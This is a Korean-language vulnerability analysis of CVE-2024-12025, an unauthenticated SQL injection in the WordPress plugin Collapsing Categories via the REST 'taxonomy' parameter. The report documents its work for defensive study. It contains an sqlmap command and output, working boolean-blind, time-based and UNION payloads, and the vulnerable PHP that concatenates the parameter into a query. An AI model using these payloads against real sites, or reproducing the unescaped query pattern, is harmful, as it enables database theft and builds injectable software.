[CVE-2024-12025] 취약점 분석 보고서
Collapsing Categories에서 발생하는 SQL Injection 취약점
1. 취약점 개요
Collapsing Categories는 WordPress용 플러그인으로, 카테고리와 하위 카테고리로 구성된 확장 가능한 리스트를 생성한다. 게시글을 표시하도록 확장할 수 있으며, 위젯으로 사용하는 것이 주된 용도이지만 테마에서 코드를 수동으로 사용할 수도 있다. CVE-2024-12025 취약점은 사용자가 제공한 매개변수에서 이스케이프가 충분하지 않고 기존 SQL 쿼리에 대한 준비가 충분하지 않아 3.0.8 이전 모든 버전에서 /wp-json/collapsing-categories/v1/get REST API의 ‘taxonomy’ 매개변수를 통한 SQL 주입에 취약하다. 이를 통해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 추가하여 데이터베이스에서 민감한 정보를 추출할 수 있다.
2. 영향을 받는 버전
- Collapsing Categories ≤ 3.0.8
3. 취약점 테스트
https://developer.wordpress.org/rest-api/key-concepts/
WordPress REST API를 작동시키기 위해 고유주소를 기본값이 아닌 다른 형식으로 설정한다.
Poc를 효과적으로 수행하기 위해 sqlmap을 사용하였으며 GitHub 버전으로 clone 하였다.
https://github.com/sqlmapproject/sqlmap
sqlmap.py 파일을 Python으로 실행하고 url과, 테스트 강도, 위험도, 데이터베이스 유형을 설정한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# SQLMap 명령어
# - 대상 URL: http://localhost:8000
# - 테스트 레벨: 3
# - 위험도: 3
# - DBMS: MySQL
python sqlmap.py -u "http://localhost:8000/wp-json/collapsing-categories/v1/get?taxonomy=category" --level=3 --risk=3 --dbms="MySQL"
___
__H__
___ ___[.]_____ ___ ___ {1.9.1.2#dev}
|_ -| . [.] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:20:56 /2025-01-19/
sqlmap을 사용해 실행한 SQL 주입 테스트에서 취약점이 성공적으로 탐지되었음을 보여준다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[14:21:41] [INFO] GET parameter 'taxonomy' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[14:21:41] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'taxonomy' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 87 HTTP(s) requests:
---
Parameter: taxonomy (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: taxonomy=-8184') OR 8534=8534 AND ('vMOi'='vMOi
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: taxonomy=category') AND (SELECT 7162 FROM (SELECT(SLEEP(5)))HjbH) AND ('BQsP'='BQsP
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: taxonomy=category') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6b7671,0x55496166614547434753557456504468504d536b5870506e51504b4b634c6a674944716c626d4366,0x7178787171)-- -
---
[14:22:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.26, Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12
[14:22:11] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 8 times
[14:22:11] [INFO] fetched data logged to text files under 'C:\Users\alstn\AppData\Local\sqlmap\output\localhost'
[*] ending @ 14:22:11 /2025-01-19/
주요 정보 분석
- 취약한 파라미터
taxonomy
라는 GET 파라미터가 SQL Injection에 취약하다는 것을 의미한다.
취약점 유형 및 페이로드
2-1. Boolean-based Blind
참/거짓 조건을 활용하여 데이터베이스 응답을 분석
1
taxonomy=-8184') OR 8534=8534 AND ('vMOi'='vMOi
2-2 Time-based Blind
응답 시간을 조작하여 데이터베이스와의 상호작용 여부를 확인
1
taxonomy=category') AND (SELECT 7162 FROM (SELECT(SLEEP(5)))HjbH) AND ('BQsP'='BQsP
2-3 UNION Query
UNION
키워드를 활용하여 데이터를 직접 가져오는 방식1
taxonomy=category') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6b7671,0x55496166614547434753557456504468504d536b5870506e51504b4b634c6a674944716c626d4366,0x7178787171)-- -
- 추가 정보
- DBMS
- 백엔드 데이터베이스는 MySQL이고, 버전은 5.0.12 이상
- 웹 서버 운영 체제
- 서버는 Linux Debian에서 실행
- 웹 애플리케이션 기술
- PHP 8.2.26과 Apache 2.4.62 사용
- HTTP 상태 코드
- 테스트 중 500 (Internal Server Error)가 8번 발생하였다.
- 서버가 일부 페이로드를 처리하는 동안 발생한 것으로 보인다.
- DBMS
- 결과 저장 위치
탐지된 결과는 로컬 파일로 저장되었다.
1
C:\Users\alstn\AppData\Local\sqlmap\output\localhost
저장된 파일에는 탐지된 페이로드와 로그가 포함되어 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
sqlmap identified the following injection point(s) with a total of 87 HTTP(s) requests: --- Parameter: taxonomy (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: taxonomy=-8184') OR 8534=8534 AND ('vMOi'='vMOi Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: taxonomy=category') AND (SELECT 7162 FROM (SELECT(SLEEP(5)))HjbH) AND ('BQsP'='BQsP Type: UNION query Title: Generic UNION query (NULL) - 12 columns Payload: taxonomy=category') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6b7671,0x55496166614547434753557456504468504d536b5870506e51504b4b634c6a674944716c626d4366,0x7178787171)-- - --- web server operating system: Linux Debian web application technology: PHP 8.2.26, Apache 2.4.62 back-end DBMS: MySQL >= 5.0.12
4. 취약점 상세 분석
sqlmap에서 요청한 주소인 /wp-json/collapsing-categories/v1/get
엔드포인트는 PHP 코드로 정의된 REST API이다. 이 API는 register_rest_route
를 사용해 등록되어 /wp-json
경로를 통해 작동하게 된다.
클라이언트가 해당 엔드포인트로 요청을 보내게 되면 permission_callback으로 권한을 검증하지만 __return_true
를 사용하고 있어 모든 요청을 허용한다. 즉, 권한 검증이 사실상 비활성화되어 있다. 따라서, 권한이 없는 사용자도 이 엔드포인트에 접근할 수 있으며 요청을 통해 callback 함수인 collapsing_categories_rest
함수를 호출시킬 수 있다.
1
2
3
4
5
6
7
8
9
// collapscat.php
add_action( 'rest_api_init', function () {
register_rest_route( 'collapsing-categories/v1', '/get/', array(
'methods' => 'GET',
'permission_callback' => '__return_true',
'callback' => 'collapsing_categories_rest',
) );
} );
taxonomy 값은 $request->get_params()
메서드를 통해 가져온 $parameters
배열에 포함되어 있으며, 이 배열은 collapsCat()
함수로 전달된다.
1
2
3
4
5
6
// collapscat.php
function collapsing_categories_rest( WP_REST_Request $request ) {
$parameters = $request->get_params();
return collapsCat( $parameters, $_COOKIE, false );
}
이 $parameters
배열은 collapsCat
함수의 $args
에 전달되고 get_collapscat_fromdb
함수의 매개변수로 사용된다.
1
2
3
4
5
6
7
8
9
// collapscat.php
function collapsCat($args='', $print=true, $callback=false) {
...
if (!is_admin()) {
list($posts, $categories, $parents, $options) = get_collapscat_fromdb($args);
...
}
}
$args
는 default.php
파일에서 정의된 기본값과 병합되어 최종 $options
를 생성하고 이 $options
배열은 extract
함수를 통해 변수로 변환되어 $taxonomy
라는 개별 변수로 생성된다.
최종적으로, $taxonomy
값을 기준으로 $taxonomyQuery
가 생성되고 SQL 쿼리의 조건으로 사용된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// collapscatlist.php
function get_collapscat_fromdb($args='') {
...
include('defaults.php');
$options = wp_parse_args($args, $defaults);
extract($options);
...
if (isset($catTag) && !isset($taxonomy))
$taxonomy = $catTag;
if ($taxonomy == 'tag') {
$taxonomyQuery= "'post_tag'";
} elseif ($taxonomy == 'both') {
$taxonomyQuery= "'category','post_tag'";
} elseif ($taxonomy == 'cat') {
$taxonomyQuery= "'category'";
} else {
$taxonomyQuery= "'$taxonomy'";
}
...
$postquery = "SELECT ... WHERE tt.taxonomy IN ($taxonomyQuery) $postSortColumn $postSortOrder";
$posts= $wpdb->get_results($postquery);
}
5. 패치
보안 패치로 인해 add_action으로 정의되고 있었던 REST API 엔드포인트가 삭제되었으므로 /wp-json/collapsing-categories/v1/get/
엔드포인트는 더 이상 존재하지 않는다.